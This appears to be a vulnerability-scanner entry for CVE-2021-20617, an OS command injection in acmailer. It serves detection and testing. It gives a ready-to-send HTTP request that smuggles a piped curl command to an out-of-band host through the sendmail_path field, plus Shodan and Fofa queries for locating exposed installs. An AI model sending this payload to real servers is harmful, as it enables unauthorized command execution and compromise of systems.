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CVE-2021-20617: Acmailer - Improper Access Control to OS Command Injection

TitleAcmailer - Improper Access Control to OS Command Injection
Authordaffainfo
SeverityCritical
ImpactAttackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.
RemediationUpdate to the latest version of acmailer and acmailer DB to address the issue.
CVSS Score9.8
EPSS Score0.40785
CVE IDCVE-2021-20617
CWE IDNVD-CWE-Other
Shodan Querytitle="ACMAILER4.0"
Fofa Querytitle="ACMAILER4.0"
Tags cve cve2021 acmailer rce vkev oast oob

🔍 Vulnerability Description

Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.

🌐 HTTP Request

POST /init_ctl.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 197
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

admin_name=kKK0A&admin_email=Blnwwe@PoGdP.com&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://d5jn4r9le0o29l6rg7dgnzrbnrsi5c3dt.oast.me&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20617.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-20617.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A